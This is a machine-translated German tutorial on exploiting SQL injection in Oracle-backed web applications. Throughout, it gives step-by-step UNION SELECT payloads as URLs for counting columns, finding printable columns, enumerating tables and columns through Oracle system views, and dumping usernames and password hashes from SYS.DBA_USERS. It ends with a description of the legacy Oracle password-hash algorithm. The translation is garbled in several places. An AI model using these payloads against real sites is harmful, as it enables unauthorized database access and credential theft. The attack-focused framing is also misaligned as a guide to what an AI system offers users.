This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injection in Oracle



  • [Einleitung]
  • [Oracle-Funktionen]
  • [Spaltenauswahl]
  • [Definition druckbarer Spalten]
  • [Informationen einholen]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Informationen einholen]



  • [Einleitung]


    Als ich kürzlich verschiedene Webprojekte zu Sicherheitslücken durchforstete, begann ich mit Oracle-Injektionen. Derzeit ist es zwar selten, die Verwendung dieses DBMS in der Webprogrammierung zu finden, aber es passiert trotzdem. Alle Recherchen endeten mit einer einfachen Erkennung von Fehlern, was als nächstes zu tun war, war nicht klar. Die Suche nach einem Artikel, der die praktischen Aspekte der Ausnutzung dieser Sicherheitsanfälligkeit in Oracle genau beschreibt, z. B. die Cash- und Spyder-Artikel, die Injektionen in MSSQL und PostgreSQL beschreiben, konnte nicht gefunden werden.
    Als Ergebnis der Suche wurde nur eine Reihe von Artikeln k00p3r gefunden, die vollständig aus Quellen Dritter kopiert wurden und eine einfache Übersetzung darstellten, deren Lektüre keine klare Vorstellung davon lieferte, wie das Jammern in Oracle war. Artikel sind im Wesentlichen groß, theoretisch und enthalten größtenteils Wasser.
    Am Ende musste ich mich an die institutionellen Fähigkeiten der Zusammenarbeit mit Oracle erinnern und eine Reihe verstreuter Informationen im Internet nachlesen. In diesem Artikel möchte ich Ihnen mitteilen, was ich für die Durchführung der SQL-Injektion in Oracle ausgraben und versuchen konnte, es in einem zu kombinieren.
    Nun, versuchen Sie, die Lücke zu füllen, und ergänzen Sie die Artikelserie Cash und Spyder.

    [Oracle-Funktionen]


    Zunächst werde ich einige Eigenschaften angeben, die bei einer Injektion in Oracle berücksichtigt werden müssen. Ich möchte sofort reservieren, dass der Artikel die Injektion in der SELECT-Anweisung behandelt. Es sind zwar auch Injektionen in den Anweisungen INSERT, UPDATE und DELETE möglich.
    Es ist auch wichtig, dass der Artikel die Probleme der Injektion in Oracle SQL-Abfragen und nicht in Oracle PL / SQL-Prozeduren behandelt. Der wesentliche Unterschied zwischen den Injektionen in PL / SQL-Prozeduren ist die Möglichkeit, das Abfragetrennzeichen zu verwenden - das Semikolonzeichen ";". Aber zu diesem IMHO müssen Sie einen separaten Artikel mit einer Beschreibung aller daraus resultierenden Konsequenzen schreiben. Darüber hinaus geht der Autor davon aus, dass in Webanwendungen die häufigsten Injektionen in SQL-Abfragen erfolgen (zumindest bin ich nur auf solche gestoßen).
    In Oracle wird die Injektion wie in MySQL und PostgreSQL mit dem UNION-Operator durchgeführt, d. H. bei der Zusammenstellung von zwei Abfragen (im Folgenden wird der Begriff zum besseren Verständnis als Unterabfrage bezeichnet). Neben der Übereinstimmung der Spaltenanzahl in der Hauptabfrage und der Unterabfrage muss jedoch berücksichtigt werden, dass Oracle keine automatische Typumwandlung in der Unterabfrage durchführt. Daher muss bei der Auswahl von Spalten im Gegensatz zu MySQL der Wert null verwendet werden.
    Es ist auch eine sehr wichtige Eigenschaft, dass alle SELECT-Abfragen aus einer Tabelle erstellt werden müssen, d. H. Die Abfragesyntax sollte immer das Wort FROM und den Tabellennamen enthalten. Für einfache arithmetische Berechnungen oder andere Operationen, für die keine echte Tabelle erforderlich ist, gibt es in Oracle eine Pseudotabelle SYS.DUAL.
    Eine wichtige Eigenschaft ist das Fehlen des LIMIT-Operators.
    Um eine Abfrage abzuschneiden, werden in Oracle SQL die Kommentarzeichen "-" (zwei Bindestriche) und "/ *" (Schrägstrich und Stern) verwendet. Der erste Typ von Kommentaren ist einzeilig. Der zweite Typ ist mehrzeilig.
    Es ist nicht möglich, mehrere Abfragen in SQL Oracle mit dem Trennzeichen ";" zu verwenden, im Gegensatz zu PL / SQL-Prozeduren.
    Wenn ein Fehler entdeckt wird, können Sie Oracle eindeutig anhand des Wortes ORA im Text der Fehlermeldung identifizieren, beispielsweise:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Nicht immer im Text des Fehlers steht beispielsweise das Wort Oracle

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Spaltenauswahl]


    Der Fehler sollte im id-Parameter vorhanden sein:

    www.site.com/view.php?id=1'
    Die Anzahl der in der Hauptabfrage vorhandenen Spalten ist dieselbe wie in MySQL. Da der UNION-Operator dieselbe Anzahl von Spalten benötigt, müssen sowohl in der Hauptabfrage als auch in der Unterabfrage die Anzahl dieser Spalten bestimmt werden. Wenn die Spalten in der Unterabfrage nicht richtig angegeben sind, wird die Standardfehlermeldung angezeigt:

    ORA-XXXXX: query block has incorrect number of result columns
    Für die Auswahl der Spalten gibt es 2 bekannte Methoden, die im Artikel spyder gut beschrieben sind. Aber ich werde sie noch einmal mitbringen, damit der Leser die Artikel nicht durchläuft:

    1. Einfache Büste
    Wir stellen die folgende Anfrage

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn ein Fehler auftritt, erhöhen Sie die Anzahl der Spalten um eins.
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    und so weiter, bis der Fehler verschwindet.

    2. Verwenden Sie den ORDER BY-Operator
    Die zweite Methode ist viel schneller und angenehmer, wenn die Anzahl der Spalten groß genug ist. Wir stellen die folgende Anfrage

    www.site.com/view.php?id=-1+order+by+1--
    Wenn es keinen Fehler gibt, dann Spalte 1 oder mehr 1

    www.site.com/view.php?id=-1+order+by+99999--
    Bei einer solchen Abfrage sollte ein Fehler angezeigt werden. Dies bedeutet, dass die Spalten kleiner als 99999 sind. Schränken Sie auf dieselbe Weise die Grenzen des ausgewählten Intervalls nach links und rechts ein und bestimmen Sie schließlich die tatsächliche Anzahl der Spalten in der Hauptabfrage.

    [Definition druckbarer Spalten]


    Angenommen, wir haben die genaue Anzahl der Spalten in der Hauptabfrage ermittelt. Angenommen, sie sind 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Nun müssen wir die Spalten bestimmen, die auf der Seite angezeigt werden. Normalerweise sind Spalten mit den Datentypen int, char und data an der Ausgabe beteiligt. Wir brauchen nur druckbare Spalten mit den Typen int und char, und wir werden danach suchen.
    Wie bereits erwähnt, konvertiert Oracle Typen in einer Unterabfrage nicht automatisch. Wenn Sie versuchen, Werte eines ungeeigneten Typs in einer Spalte zu ersetzen, wird der folgende Typenkonfliktfehler angezeigt

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Als Nächstes beginnen wir mit der Erstellung von Abfragen und ersetzen abwechselnd jede Spalte durch eine beliebige Nummer

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Daher identifizieren wir druckbare Spalten mit dem Typ int. Wenn wir einen Typenkonfliktfehler erhalten, können wir die Typumwandlungsfunktionen to_char (), to_date () verwenden und druckbare Spalten mit den Typen char und data identifizieren.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Als Referenz dient hier die Syntax der to_char () - Funktion:
    to_char (value, [format_mask], [nls_language])

    [Informationen einholen]


    Nachdem wir die Anzahl der Spalten ermittelt haben und welche davon druckbar sind, können wir mit Sicherheit die erforderlichen Informationen aus der Datenbank abrufen. Wenn wir bestimmte Tabellen in der Datenbank und die darin enthaltenen Spalten kennen, ist es nicht schwierig, Informationen zu erhalten. Wenn beispielsweise eine Tabelle USERS mit den Spalten ID, LOGIN und PASSWORD vorhanden ist, sieht die Anforderung zum Abrufen dieser Daten wie folgt aus

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Wie in MySQL können Sie zur Vereinfachung der Anzeige und Lösung verschiedener Probleme bei der Kodierung die Funktionen concat () und to_char () verwenden.
    Um die Anführungszeichen oder andere erforderliche Zeichen zu umgehen, gibt es eine Funktion chr ().

    [Tabellen und Spalten]


    Wenn uns die Benutzertabellen nicht bekannt sind, können wir verschiedene Informationen aus den bekannten Oracle-Systemtabellen erhalten.
    Den Namen des Benutzers, unter dem die Schnittstelle arbeitet, und damit Sie können Sie herausfinden, indem Sie die Benutzer- oder sys.login_user-Funktionen aufrufen

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Sie können eine Liste der Sitzungen wie folgt erhalten: Wählen Sie * aus der Sitzung V $ aus

    Von großem Interesse sind die Tabellen SYS.USER_TABLES und SYS.USER_TAB_COLUMNS, die alle Tabellen und deren Spalten enthalten, auf die der Benutzer zugreifen kann. Wir nehmen die Namen der Tabellen und Spalten heraus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Meiner Meinung nach sind in der Tabelle SYS.USER_TABLES neben tabellenname auch die folgenden Spalten von Interesse: tabellenbereichsname, num_rows, freelist_groups.
    Leider werden die obigen Abfragen uns jedoch nur eine nach der anderen ausgeben - den ersten Datensatz der gesamten Tabelle. Es besteht ein überwältigender Wunsch, den LIMIT-Operator zu verwenden, wie in MySQL oder PostgreSQL. Zur großen allgemeinen Enttäuschung wird dieser Operator in Oracle nicht unterstützt. Außerdem hat er kein würdiges Äquivalent in Form eines anderen Operators.
    "ALLES VERPASST !!!" - Sie werden sagen.
    "NEIN !!!" - ich werde dir antworten.
    Nachdem ich ein hübsches Google gequält hatte, fand ich immer noch die Gelegenheit, eine komplexe Abfrage zu stellen, die zumindest irgendwie entfernt die semantische Last des LIMIT-Operators verwirklicht. Leider war es nicht möglich, seine Fähigkeiten vollständig wiederherzustellen.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Wenn Sie also eine andere Anzahl von Datensätzen im Beispiel durchgehen, können wir alle Tabellennamen der Reihe nach betrachten. Wir können dieselbe Konstruktion verwenden, wenn Sie die Tabelle SYS.USER_TAB_COLUMNS anzeigen, wenn Sie alle Spaltennamen erhalten, die dem Benutzer zur Verfügung stehen.
    In Oracle gibt es auch das Konzept eines Objektpräfixes (eine Tabelle ist ein Objekt), das im Namen oder Namen einer Tabelle vorhanden ist:
    ALL_ - alles für den Benutzer verfügbar (der Eigentümer ist möglicherweise nicht)
    USER_ - Objekte, die diesem Benutzer gehören.
    Daher können wir unsere Aufgabe vereinfachen und nur die Namen der Tabellen herausziehen, auf die wir Zugriff haben.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Informationen aus den folgenden Standardtabellen können ebenfalls von Interesse sein: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück haben und der Benutzer, unter dem wir mit der Datenbank arbeiten, über sysdba-Rechte verfügt, können wir die Hashes aller Benutzer der Datenbank abrufen.
    Der Hauptspeicherort der Passwort-Faltung (Hash) ist die Tabelle des Verzeichnisses SYS.USER $. Über dieser Tabelle als Basisableitung SYS.DBA_USERS. Wenn im Benutzerprofil PASSWORD_REUSE_TIME aktiviert ist, werden Kennwortkonvolutionen auch in SYS.USER_HISTORY $ gespeichert. Sie können Hashes und Benutzernamen wie diese erhalten

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Zur Vollständigkeit der Informationen werde ich auch einen Algorithmus zur Berechnung der Faltung eines Passworts bereitstellen, nur für den Fall, dass es für jemanden nützlich sein kann:
    1. In den Benutzernamen wird der richtige Kennworttext eingefügt.
    2. In der resultierenden Zeichenfolge erhöhen die Buchstaben das Register.
    3. Die Zeichen der Zeichenfolge werden in ein Zwei-Byte-Format mit einer linken Auffüllung mit einem Nullwert von 0x00 (für ASCII-Zeichen) konvertiert. Die Zeichenfolge rechts wird mit null Byte bis zu einer Gesamtlänge von 80 angehängt.
    4. Der resultierende String wird mit dem DES-Algorithmus im Modus für die Verkettung von Geheimtextblöcken (CBC) mit dem Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Paritätsbits werden aus dem letzten Ergebnisblock entfernt und die resultierende Zeichenfolge (56 Bit) wird verwendet, um die Quellzeichenfolge auf dieselbe Weise erneut zu verschlüsseln.
    6. Der letzte Block des Ergebnisses wird in hexadezimale arithmetische Zeichen übersetzt und zum Endergebnis erklärt - Faltung.